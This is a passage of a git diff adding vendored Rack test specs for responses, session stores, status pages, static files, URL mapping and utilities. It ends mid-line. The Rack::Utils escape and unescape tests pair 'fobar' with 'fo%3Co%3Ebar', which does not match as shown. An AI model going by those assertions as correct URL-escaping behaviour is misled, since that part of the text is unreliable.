+require 'rack/response' + +context "Rack::Response" do + specify "has sensible default values" do + response = Rack::Response.new + status, header, body = response.finish + status.should.equal 200 + header.should.equal "Content-Type" => "text/html", "Content-Length" => "0" + body.each { |part| + part.should.equal "" + } + + response = Rack::Response.new + status, header, body = *response + status.should.equal 200 + header.should.equal "Content-Type" => "text/html", "Content-Length" => "0" + body.each { |part| + part.should.equal "" + } + end + + specify "can be written to" do + response = Rack::Response.new + + status, header, body = response.finish do + response.write "foo" + response.write "bar" + response.write "baz" + end + + parts = [] + body.each { |part| parts << part } + + parts.should.equal ["foo", "bar", "baz"] + end + + specify "can set and read headers" do + response = Rack::Response.new + response["Content-Type"].should.equal "text/html" + response["Content-Type"] = "text/plain" + response["Content-Type"].should.equal "text/plain" + end + + specify "can set cookies" do + response = Rack::Response.new + + response.set_cookie "foo", "bar" + response["Set-Cookie"].should.equal "foo=bar" + response.set_cookie "foo2", "bar2" + response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2"] + response.set_cookie "foo3", "bar3" + response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2", "foo3=bar3"] + end + + specify "formats the Cookie expiration date accordingly to RFC 2109" do + response = Rack::Response.new + + response.set_cookie "foo", {:value => "bar", :expires => Time.now+10} + response["Set-Cookie"].should.match( + /expires=..., \d\d-...-\d\d\d\d \d\d:\d\d:\d\d .../) + end + + specify "can set secure cookies" do + response = Rack::Response.new + response.set_cookie "foo", {:value => "bar", :secure => true} + response["Set-Cookie"].should.equal "foo=bar; secure" + end + + specify "can delete cookies" do + response = Rack::Response.new + response.set_cookie "foo", "bar" + response.set_cookie "foo2", "bar2" + response.delete_cookie "foo" + response["Set-Cookie"].should.equal ["foo2=bar2", + "foo=; expires=Thu, 01-Jan-1970 00:00:00 GMT"] + end + + specify "has a useful constructor" do + r = Rack::Response.new("foo") + status, header, body = r.finish + str = ""; body.each { |part| str << part } + str.should.equal "foo" + + r = Rack::Response.new(["foo", "bar"]) + status, header, body = r.finish + str = ""; body.each { |part| str << part } + str.should.equal "foobar" + + r = Rack::Response.new(["foo", "bar"].to_set) + r.write "foo" + status, header, body = r.finish + str = ""; body.each { |part| str << part } + str.should.equal "foobarfoo" + + r = Rack::Response.new([], 500) + r.status.should.equal 500 + end + + specify "has a constructor that can take a block" do + r = Rack::Response.new { |res| + res.status = 404 + res.write "foo" + } + status, header, body = r.finish + str = ""; body.each { |part| str << part } + str.should.equal "foo" + status.should.equal 404 + end + + specify "doesn't return invalid responses" do + r = Rack::Response.new(["foo", "bar"], 204) + status, header, body = r.finish + str = ""; body.each { |part| str << part } + str.should.be.empty + header["Content-Type"].should.equal nil + + lambda { + Rack::Response.new(Object.new) + }.should.raise(TypeError). + message.should =~ /stringable or iterable required/ + end + + specify "knows if it's empty" do + r = Rack::Response.new + r.should.be.empty + r.write "foo" + r.should.not.be.empty + + r = Rack::Response.new + r.should.be.empty + r.finish + r.should.be.empty + + r = Rack::Response.new + r.should.be.empty + r.finish { } + r.should.not.be.empty + end + + specify "should provide access to the HTTP status" do + res = Rack::Response.new + res.status = 200 + res.should.be.successful + res.should.be.ok + + res.status = 404 + res.should.not.be.successful + res.should.be.client_error + res.should.be.not_found + + res.status = 501 + res.should.not.be.successful + res.should.be.server_error + + res.status = 307 + res.should.be.redirect + end + + specify "should provide access to the HTTP headers" do + res = Rack::Response.new + res["Content-Type"] = "text/yaml" + + res.should.include "Content-Type" + res.headers["Content-Type"].should.equal "text/yaml" + res["Content-Type"].should.equal "text/yaml" + res.content_type.should.equal "text/yaml" + res.content_length.should.be.nil + res.location.should.be.nil + end + +end diff --git a/vendor/plugins/rack/test/spec_rack_session_cookie.rb b/vendor/plugins/rack/test/spec_rack_session_cookie.rb new file mode 100644 index 00000000..3be88b43 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_session_cookie.rb @@ -0,0 +1,82 @@ +require 'test/spec' + +require 'rack/session/cookie' +require 'rack/mock' +require 'rack/response' + +context "Rack::Session::Cookie" do + incrementor = lambda { |env| + env["rack.session"]["counter"] ||= 0 + env["rack.session"]["counter"] += 1 + Rack::Response.new(env["rack.session"].inspect).to_a + } + + specify "creates a new cookie" do + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") + res["Set-Cookie"].should.match("rack.session=") + res.body.should.equal '{"counter"=>1}' + end + + specify "loads from a cookie" do + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). + get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>2}' + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). + get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>3}' + end + + specify "survives broken cookies" do + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). + get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") + res.body.should.equal '{"counter"=>1}' + end + + bigcookie = lambda { |env| + env["rack.session"]["cookie"] = "big" * 3000 + Rack::Response.new(env["rack.session"].inspect).to_a + } + + specify "barks on too big cookies" do + lambda { + Rack::MockRequest.new(Rack::Session::Cookie.new(bigcookie)). + get("/", :fatal => true) + }.should.raise(Rack::MockRequest::FatalWarning) + end + + specify "creates a new cookie with integrity hash" do + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") + if RUBY_VERSION < "1.9" + res["Set-Cookie"].should.match("rack.session=BAh7BiIMY291bnRlcmkG%0A--1439b4d37b9d4b04c603848382f712d6fcd31088") + else + res["Set-Cookie"].should.match("rack.session=BAh7BkkiDGNvdW50ZXIGOg1lbmNvZGluZyINVVMtQVNDSUlpBg%3D%3D%0A--d7a6637b94d2728194a96c18484e1f7ed9074a83") + end + end + + specify "loads from a cookie wih integrity hash" do + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). + get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>2}' + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). + get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>3}' + end + + specify "ignores tampered with session cookies" do + app = Rack::Session::Cookie.new(incrementor, :secret => 'test') + response1 = Rack::MockRequest.new(app).get("/") + _, digest = response1["Set-Cookie"].split("--") + tampered_with_cookie = "hackerman-was-here" + "--" + digest + response2 = Rack::MockRequest.new(app).get("/", "HTTP_COOKIE" => + tampered_with_cookie) + + # The tampered-with cookie is ignored, so we get back an identical Set-Cookie + response2["Set-Cookie"].should.equal(response1["Set-Cookie"]) + end +end diff --git a/vendor/plugins/rack/test/spec_rack_session_memcache.rb b/vendor/plugins/rack/test/spec_rack_session_memcache.rb new file mode 100644 index 00000000..44352413 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_session_memcache.rb @@ -0,0 +1,132 @@ +require 'test/spec' + +begin + require 'rack/session/memcache' + require 'rack/mock' + require 'rack/response' + require 'thread' + + context "Rack::Session::Memcache" do + incrementor = lambda { |env| + env["rack.session"]["counter"] ||= 0 + env["rack.session"]["counter"] += 1 + Rack::Response.new(env["rack.session"].inspect).to_a + } + + # Keep this first. + specify "startup" do + $pid = fork { + exec "memcached" + } + sleep 1 + end + + specify "faults on no connection" do + lambda do + Rack::Session::Memcache.new(incrementor, :memcache_server => '') + end.should.raise + end + + specify "creates a new cookie" do + cache = Rack::Session::Memcache.new(incrementor) + res = Rack::MockRequest.new(cache).get("/") + res["Set-Cookie"].should.match("rack.session=") + res.body.should.equal '{"counter"=>1}' + end + + specify "determines session from a cookie" do + cache = Rack::Session::Memcache.new(incrementor) + res = Rack::MockRequest.new(cache).get("/") + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(cache).get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>2}' + res = Rack::MockRequest.new(cache).get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>3}' + end + + specify "survives broken cookies" do + cache = Rack::Session::Memcache.new(incrementor) + res = Rack::MockRequest.new(cache). + get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") + res.body.should.equal '{"counter"=>1}' + end + + specify "maintains freshness" do + cache = Rack::Session::Memcache.new(incrementor, :expire_after => 3) + res = Rack::MockRequest.new(cache).get('/') + res.body.should.include '"counter"=>1' + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) + res["Set-Cookie"].should.equal cookie + res.body.should.include '"counter"=>2' + puts 'Sleeping to expire session' if $DEBUG + sleep 4 + res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) + res["Set-Cookie"].should.not.equal cookie + res.body.should.include '"counter"=>1' + end + + specify "multithread: should cleanly merge sessions" do + cache = Rack::Session::Memcache.new(incrementor) + drop_counter = Rack::Session::Memcache.new(proc do |env| + env['rack.session'].delete 'counter' + env['rack.session']['foo'] = 'bar' + [200, {'Content-Type'=>'text/plain'}, env['rack.session'].inspect] + end) + + res = Rack::MockRequest.new(cache).get('/') + res.body.should.equal '{"counter"=>1}' + cookie = res["Set-Cookie"] + sess_id = cookie[/#{cache.key}=([^,;]+)/, 1] + + res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>2}' + + r = Array.new(rand(7).to_i+2) do |i| + app = proc do |env| + env['rack.session'][i] = Time.now + sleep 2 + env['rack.session'] = env['rack.session'].dup + env['rack.session'][i] -= Time.now + incrementor.call(env) + end + Thread.new(cache.context(app)) do |run| + Rack::MockRequest.new(run). + get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) + end + end + + r.reverse! + + r.map! do |t| + p t if $DEBUG + t.join.value + end + + r.each do |res| + res['Set-Cookie'].should.equal cookie + res.body.should.include '"counter"=>3' + end + + session = cache.pool[sess_id] + session.size.should.be r.size+1 + session['counter'].should.be 3 + + res = Rack::MockRequest.new(drop_counter).get('/', "HTTP_COOKIE" => cookie) + res.body.should.include '"foo"=>"bar"' + + session = cache.pool[sess_id] + session.size.should.be r.size+1 + session['counter'].should.be.nil? + session['foo'].should.equal 'bar' + end + + # Keep this last. + specify "shutdown" do + Process.kill 15, $pid + Process.wait($pid).should.equal $pid + end + end +rescue LoadError + $stderr.puts "Skipping Rack::Session::Memcache tests (Memcache is required). `gem install memcache-client` and try again." +end diff --git a/vendor/plugins/rack/test/spec_rack_session_pool.rb b/vendor/plugins/rack/test/spec_rack_session_pool.rb new file mode 100644 index 00000000..794f9619 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_session_pool.rb @@ -0,0 +1,84 @@ +require 'test/spec' + +require 'rack/session/pool' +require 'rack/mock' +require 'rack/response' +require 'thread' + +context "Rack::Session::Pool" do + incrementor = lambda { |env| + env["rack.session"]["counter"] ||= 0 + env["rack.session"]["counter"] += 1 + Rack::Response.new(env["rack.session"].inspect).to_a + } + + specify "creates a new cookie" do + pool = Rack::Session::Pool.new(incrementor) + res = Rack::MockRequest.new(pool).get("/") + res["Set-Cookie"].should.match("rack.session=") + res.body.should.equal '{"counter"=>1}' + end + + specify "determines session from a cookie" do + pool = Rack::Session::Pool.new(incrementor) + res = Rack::MockRequest.new(pool).get("/") + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(pool).get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>2}' + res = Rack::MockRequest.new(pool).get("/", "HTTP_COOKIE" => cookie) + res.body.should.equal '{"counter"=>3}' + end + + specify "survives broken cookies" do + pool = Rack::Session::Pool.new(incrementor) + res = Rack::MockRequest.new(pool). + get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") + res.body.should.equal '{"counter"=>1}' + end + + specify "maintains freshness" do + pool = Rack::Session::Pool.new(incrementor, :expire_after => 3) + res = Rack::MockRequest.new(pool).get('/') + res.body.should.include '"counter"=>1' + cookie = res["Set-Cookie"] + res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) + res["Set-Cookie"].should.equal cookie + res.body.should.include '"counter"=>2' + sleep 4 + res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) + res["Set-Cookie"].should.not.equal cookie + res.body.should.include '"counter"=>1' + end + + specify "multithread: should merge sessions" do + delta_incrementor = lambda do |env| + # emulate disconjoinment of threading + env['rack.session'] = env['rack.session'].dup + Thread.stop + env['rack.session'][(Time.now.usec*rand).to_i] = true + incrementor.call(env) + end + pool = Rack::Session::Pool.new(incrementor) + res = Rack::MockRequest.new(pool).get('/') + res.body.should.equal '{"counter"=>1}' + cookie = res["Set-Cookie"] + sess_id = cookie[/#{pool.key}=([^,;]+)/,1] + + pool = pool.context(delta_incrementor) + r = Array.new(rand(7).to_i+3). + map! do + Thread.new do + Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) + end + end. + reverse!. + map!{|t| t.run.join.value } + session = pool.for.pool[sess_id] # for is needed by Utils::Context + session.size.should.be r.size+1 # counter + session['counter'].should.be 2 # meeeh + r.each do |res| + res['Set-Cookie'].should.equal cookie + res.body.should.include '"counter"=>2' + end + end +end diff --git a/vendor/plugins/rack/test/spec_rack_showexceptions.rb b/vendor/plugins/rack/test/spec_rack_showexceptions.rb new file mode 100644 index 00000000..bdbc1201 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_showexceptions.rb @@ -0,0 +1,21 @@ +require 'test/spec' + +require 'rack/showexceptions' +require 'rack/mock' + +context "Rack::ShowExceptions" do + specify "catches exceptions" do + res = nil + req = Rack::MockRequest.new(Rack::ShowExceptions.new(lambda { |env| + raise RuntimeError + })) + lambda { + res = req.get("/") + }.should.not.raise + res.should.be.a.server_error + res.status.should.equal 500 + + res.should =~ /RuntimeError/ + res.should =~ /ShowExceptions/ + end +end diff --git a/vendor/plugins/rack/test/spec_rack_showstatus.rb b/vendor/plugins/rack/test/spec_rack_showstatus.rb new file mode 100644 index 00000000..78700134 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_showstatus.rb @@ -0,0 +1,72 @@ +require 'test/spec' + +require 'rack/showstatus' +require 'rack/mock' + +context "Rack::ShowStatus" do + specify "should provide a default status message" do + req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| + [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] + })) + + res = req.get("/", :lint => true) + res.should.be.not_found + res.should.be.not.empty + + res["Content-Type"].should.equal("text/html") + res.should =~ /404/ + res.should =~ /Not Found/ + end + + specify "should let the app provide additional information" do + req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| + env["rack.showstatus.detail"] = "gone too meta." + [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] + })) + + res = req.get("/", :lint => true) + res.should.be.not_found + res.should.be.not.empty + + res["Content-Type"].should.equal("text/html") + res.should =~ /404/ + res.should =~ /Not Found/ + res.should =~ /too meta/ + end + + specify "should not replace existing messages" do + req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| + [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] + })) + res = req.get("/", :lint => true) + res.should.be.not_found + + res.body.should == "foo!" + end + + specify "should pass on original headers" do + headers = {"WWW-Authenticate" => "Basic blah"} + + req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| [401, headers, []] })) + res = req.get("/", :lint => true) + + res["WWW-Authenticate"].should.equal("Basic blah") + end + + specify "should replace existing messages if there is detail" do + req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| + env["rack.showstatus.detail"] = "gone too meta." + [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] + })) + + res = req.get("/", :lint => true) + res.should.be.not_found + res.should.be.not.empty + + res["Content-Type"].should.equal("text/html") + res["Content-Length"].should.not.equal("4") + res.should =~ /404/ + res.should =~ /too meta/ + res.body.should.not =~ /foo/ + end +end diff --git a/vendor/plugins/rack/test/spec_rack_static.rb b/vendor/plugins/rack/test/spec_rack_static.rb new file mode 100644 index 00000000..67cf97ec --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_static.rb @@ -0,0 +1,37 @@ +require 'test/spec' + +require 'rack/static' +require 'rack/mock' + +class DummyApp + def call(env) + [200, {}, "Hello World"] + end +end + +context "Rack::Static" do + root = File.expand_path(File.dirname(__FILE__)) + OPTIONS = {:urls => ["/cgi"], :root => root} + + setup do + @request = Rack::MockRequest.new(Rack::Static.new(DummyApp.new, OPTIONS)) + end + + specify "serves files" do + res = @request.get("/cgi/test") + res.should.be.ok + res.body.should =~ /ruby/ + end + + specify "404s if url root is known but it can't find the file" do + res = @request.get("/cgi/foo") + res.should.be.not_found + end + + specify "calls down the chain if url root is not known" do + res = @request.get("/something/else") + res.should.be.ok + res.body.should == "Hello World" + end + +end \ No newline at end of file diff --git a/vendor/plugins/rack/test/spec_rack_thin.rb b/vendor/plugins/rack/test/spec_rack_thin.rb new file mode 100644 index 00000000..ee128d6b --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_thin.rb @@ -0,0 +1,90 @@ +require 'test/spec' + +begin +require 'rack/handler/thin' +require 'testrequest' +require 'timeout' + +context "Rack::Handler::Thin" do + include TestRequest::Helpers + + setup do + @app = Rack::Lint.new(TestRequest.new) + Thin::Logging.silent = true + @thread = Thread.new do + Rack::Handler::Thin.run(@app, :Host => @host='0.0.0.0', :Port => @port=9201) do |server| + @server = server + end + end + Thread.pass until @server && @server.running? + end + + specify "should respond" do + lambda { + GET("/") + }.should.not.raise + end + + specify "should be a Thin" do + GET("/") + status.should.be 200 + response["SERVER_SOFTWARE"].should =~ /thin/ + response["HTTP_VERSION"].should.equal "HTTP/1.1" + response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" + response["SERVER_PORT"].should.equal "9201" + response["SERVER_NAME"].should.equal "0.0.0.0" + end + + specify "should have rack headers" do + GET("/") + response["rack.version"].should.equal [0,3] + response["rack.multithread"].should.be false + response["rack.multiprocess"].should.be false + response["rack.run_once"].should.be false + end + + specify "should have CGI headers on GET" do + GET("/") + response["REQUEST_METHOD"].should.equal "GET" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.be.equal "/" + response["QUERY_STRING"].should.equal "" + response["test.postdata"].should.equal "" + + GET("/test/foo?quux=1") + response["REQUEST_METHOD"].should.equal "GET" + response["REQUEST_PATH"].should.equal "/test/foo" + response["PATH_INFO"].should.equal "/test/foo" + response["QUERY_STRING"].should.equal "quux=1" + end + + specify "should have CGI headers on POST" do + POST("/", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) + status.should.equal 200 + response["REQUEST_METHOD"].should.equal "POST" + response["REQUEST_PATH"].should.equal "/" + response["QUERY_STRING"].should.equal "" + response["HTTP_X_TEST_HEADER"].should.equal "42" + response["test.postdata"].should.equal "rack-form-data=23" + end + + specify "should support HTTP auth" do + GET("/test", {:user => "ruth", :passwd => "secret"}) + response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" + end + + specify "should set status" do + GET("/test?secret") + status.should.equal 403 + response["rack.url_scheme"].should.equal "http" + end + + teardown do + @server.stop! + @thread.kill + end +end + +rescue LoadError + $stderr.puts "Skipping Rack::Handler::Thin tests (Thin is required). `gem install thin` and try again." +end diff --git a/vendor/plugins/rack/test/spec_rack_urlmap.rb b/vendor/plugins/rack/test/spec_rack_urlmap.rb new file mode 100644 index 00000000..d2c20624 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_urlmap.rb @@ -0,0 +1,175 @@ +require 'test/spec' + +require 'rack/urlmap' +require 'rack/mock' + +context "Rack::URLMap" do + specify "dispatches paths correctly" do + app = lambda { |env| + [200, { + 'X-ScriptName' => env['SCRIPT_NAME'], + 'X-PathInfo' => env['PATH_INFO'], + 'Content-Type' => 'text/plain' + }, [""]] + } + map = Rack::URLMap.new({ + 'http://foo.org/bar' => app, + '/foo' => app, + '/foo/bar' => app + }) + + res = Rack::MockRequest.new(map).get("/") + res.should.be.not_found + + res = Rack::MockRequest.new(map).get("/qux") + res.should.be.not_found + + res = Rack::MockRequest.new(map).get("/foo") + res.should.be.ok + res["X-ScriptName"].should.equal "/foo" + res["X-PathInfo"].should.equal "" + + res = Rack::MockRequest.new(map).get("/foo/") + res.should.be.ok + res["X-ScriptName"].should.equal "/foo" + res["X-PathInfo"].should.equal "/" + + res = Rack::MockRequest.new(map).get("/foo/bar") + res.should.be.ok + res["X-ScriptName"].should.equal "/foo/bar" + res["X-PathInfo"].should.equal "" + + res = Rack::MockRequest.new(map).get("/foo/bar/") + res.should.be.ok + res["X-ScriptName"].should.equal "/foo/bar" + res["X-PathInfo"].should.equal "/" + + res = Rack::MockRequest.new(map).get("/foo/quux", "SCRIPT_NAME" => "/bleh") + res.should.be.ok + res["X-ScriptName"].should.equal "/bleh/foo" + res["X-PathInfo"].should.equal "/quux" + + res = Rack::MockRequest.new(map).get("/bar", 'HTTP_HOST' => 'foo.org') + res.should.be.ok + res["X-ScriptName"].should.equal "/bar" + res["X-PathInfo"].should.be.empty + + res = Rack::MockRequest.new(map).get("/bar/", 'HTTP_HOST' => 'foo.org') + res.should.be.ok + res["X-ScriptName"].should.equal "/bar" + res["X-PathInfo"].should.equal '/' + end + + + specify "dispatches hosts correctly" do + map = Rack::URLMap.new("http://foo.org/" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "foo.org", + "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], + }, [""]]}, + "http://bar.org/" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "bar.org", + "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], + }, [""]]}, + "/" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "default.org", + "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], + }, [""]]} + ) + + res = Rack::MockRequest.new(map).get("/") + res.should.be.ok + res["X-Position"].should.equal "default.org" + + res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "bar.org") + res.should.be.ok + res["X-Position"].should.equal "bar.org" + + res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "foo.org") + res.should.be.ok + res["X-Position"].should.equal "foo.org" + + res = Rack::MockRequest.new(map).get("http://foo.org/") + res.should.be.ok + res["X-Position"].should.equal "default.org" + + res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "example.org") + res.should.be.ok + res["X-Position"].should.equal "default.org" + + res = Rack::MockRequest.new(map).get("/", + "HTTP_HOST" => "example.org:9292", + "SERVER_PORT" => "9292") + res.should.be.ok + res["X-Position"].should.equal "default.org" + end + + specify "should be nestable" do + map = Rack::URLMap.new("/foo" => + Rack::URLMap.new("/bar" => + Rack::URLMap.new("/quux" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "/foo/bar/quux", + "X-PathInfo" => env["PATH_INFO"], + "X-ScriptName" => env["SCRIPT_NAME"], + }, [""]]} + ))) + + res = Rack::MockRequest.new(map).get("/foo/bar") + res.should.be.not_found + + res = Rack::MockRequest.new(map).get("/foo/bar/quux") + res.should.be.ok + res["X-Position"].should.equal "/foo/bar/quux" + res["X-PathInfo"].should.equal "" + res["X-ScriptName"].should.equal "/foo/bar/quux" + end + + specify "should route root apps correctly" do + map = Rack::URLMap.new("/" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "root", + "X-PathInfo" => env["PATH_INFO"], + "X-ScriptName" => env["SCRIPT_NAME"] + }, [""]]}, + "/foo" => lambda { |env| + [200, + { "Content-Type" => "text/plain", + "X-Position" => "foo", + "X-PathInfo" => env["PATH_INFO"], + "X-ScriptName" => env["SCRIPT_NAME"] + }, [""]]} + ) + + res = Rack::MockRequest.new(map).get("/foo/bar") + res.should.be.ok + res["X-Position"].should.equal "foo" + res["X-PathInfo"].should.equal "/bar" + res["X-ScriptName"].should.equal "/foo" + + res = Rack::MockRequest.new(map).get("/foo") + res.should.be.ok + res["X-Position"].should.equal "foo" + res["X-PathInfo"].should.equal "" + res["X-ScriptName"].should.equal "/foo" + + res = Rack::MockRequest.new(map).get("/bar") + res.should.be.ok + res["X-Position"].should.equal "root" + res["X-PathInfo"].should.equal "/bar" + res["X-ScriptName"].should.equal "" + + res = Rack::MockRequest.new(map).get("") + res.should.be.ok + res["X-Position"].should.equal "root" + res["X-PathInfo"].should.equal "/" + res["X-ScriptName"].should.equal "" + end +end diff --git a/vendor/plugins/rack/test/spec_rack_utils.rb b/vendor/plugins/rack/test/spec_rack_utils.rb new file mode 100644 index 00000000..ced710f9 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_utils.rb @@ -0,0 +1,176 @@ +require 'test/spec' + +require 'rack/utils' +require 'rack/lint' +require 'rack/mock' + +context "Rack::Utils" do + specify "should escape correctly" do + Rack::Utils.escape("fobar").should.equal "fo%3Co%3Ebar" + Rack::Utils.escape("a space").should.equal "a+space" + Rack::Utils.escape("q1!2\"'w$5&7/z8)?\\"). + should.equal "q1%212%22%27w%245%267%2Fz8%29%3F%5C" + end + + specify "should unescape correctly" do + Rack::Utils.unescape("fo%3Co%3Ebar").should.equal "fobar" + Rack::Utils.unescape("a+space").should.equal "a space" + Rack::Utils.unescape("a%20space").should.equal "a space" + Rack::Utils.unescape("q1%212%22%27w%245%267%2Fz8%29%3F%5C"). + should.equal "q1!2\"'w$5&7/z8)?\\" + end + + specify "should parse query strings correctly" do + Rack::Utils.parse_query("foo=bar").should.equal "foo" => "bar" + Rack::Utils.parse_query("foo=bar&foo=quux"). + should.equal "foo" => ["bar", "quux"] + Rack::Utils.parse_query("foo=1&bar=2"). + should.equal "foo" => "1", "bar" => "2" + Rack::Utils.parse_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F"). + should.equal "my weird field" => "q1!2\"'w$5&7/z8)?" + end + + specify "should build query strings correctly" do + Rack::Utils.build_query("foo" => "bar").should.equal "foo=bar" + Rack::Utils.build_query("foo" => ["bar", "quux"]). + should.equal "foo=bar&foo=quux" + Rack::Utils.build_query("foo" => "1", "bar" => "2"). + should.equal "foo=1&bar=2" + Rack::Utils.build_query("my weird field" => "q1!2\"'w$5&7/z8)?"). + should.equal "my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F" + end + + specify "should figure out which encodings are acceptable" do + helper = lambda do |a, b| + request = Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => a)) + Rack::Utils.select_best_encoding(a, b) + end + + helper.call(%w(), [["x", 1]]).should.equal(nil) + helper.call(%w(identity), [["identity", 0.0]]).should.equal(nil) + helper.call(%w(identity), [["*", 0.0]]).should.equal(nil) + + helper.call(%w(identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("identity") + + helper.call(%w(compress gzip identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("compress") + helper.call(%w(compress gzip identity), [["compress", 0.5], ["gzip", 1.0]]).should.equal("gzip") + + helper.call(%w(foo bar identity), []).should.equal("identity") + helper.call(%w(foo bar identity), [["*", 1.0]]).should.equal("foo") + helper.call(%w(foo bar identity), [["*", 1.0], ["foo", 0.9]]).should.equal("bar") + + helper.call(%w(foo bar identity), [["foo", 0], ["bar", 0]]).should.equal("identity") + helper.call(%w(foo bar baz identity), [["*", 0], ["identity", 0.1]]).should.equal("identity") + end +end + +context "Rack::Utils::HeaderHash" do + specify "should retain header case" do + h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") + h['ETag'] = 'Boo!' + h.to_hash.should.equal "Content-MD5" => "d5ff4e2a0 ...", "ETag" => 'Boo!' + end + + specify "should check existence of keys case insensitively" do + h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") + h.should.include 'content-md5' + h.should.not.include 'ETag' + end + + specify "should merge case-insensitively" do + h = Rack::Utils::HeaderHash.new("ETag" => 'HELLO', "content-length" => '123') + merged = h.merge("Etag" => 'WORLD', 'Content-Length' => '321', "Foo" => 'BAR') + merged.should.equal "Etag"=>'WORLD', "Content-Length"=>'321', "Foo"=>'BAR' + end + + specify "should overwrite case insensitively and assume the new key's case" do + h = Rack::Utils::HeaderHash.new("Foo-Bar" => "baz") + h["foo-bar"] = "bizzle" + h["FOO-BAR"].should.equal "bizzle" + h.length.should.equal 1 + h.to_hash.should.equal "foo-bar" => "bizzle" + end + + specify "should be converted to real Hash" do + h = Rack::Utils::HeaderHash.new("foo" => "bar") + h.to_hash.should.be.instance_of Hash + end +end + +context "Rack::Utils::Context" do + test_app1 = Object.new + def test_app1.context app + Rack::Utils::Context.new self, app do |env| + app.call env + end + end + test_app2 = Object.new + def test_app2.context env; end + test_app3 = Object.new + test_target1 = proc{|e| e.to_s+' world' } + test_target2 = proc{|e| e.to_i+2 } + test_target3 = proc{|e| nil } + test_target4 = proc{|e| [200,{'Content-Type'=>'text/plain', 'Content-Length'=>'0'},['']] } + test_target5 = Object.new + + specify "should perform checks on both arguments" do + lambda { Rack::Utils::Context.new(nil, nil){} }.should.raise + lambda { Rack::Utils::Context.new(test_app1, nil){} }.should.raise + lambda { Rack::Utils::Context.new(nil, test_target1){} }.should.raise + lambda { Rack::Utils::Context.new(test_app1, test_target1){} }.should.not.raise + lambda { Rack::Utils::Context.new(test_app3, test_target1){} }.should.raise + lambda { Rack::Utils::Context.new(test_app1, test_target5){} }.should.raise + lambda { test_app1.context(nil){} }.should.raise + lambda { test_app1.context(test_target1){} }.should.not.raise + lambda { 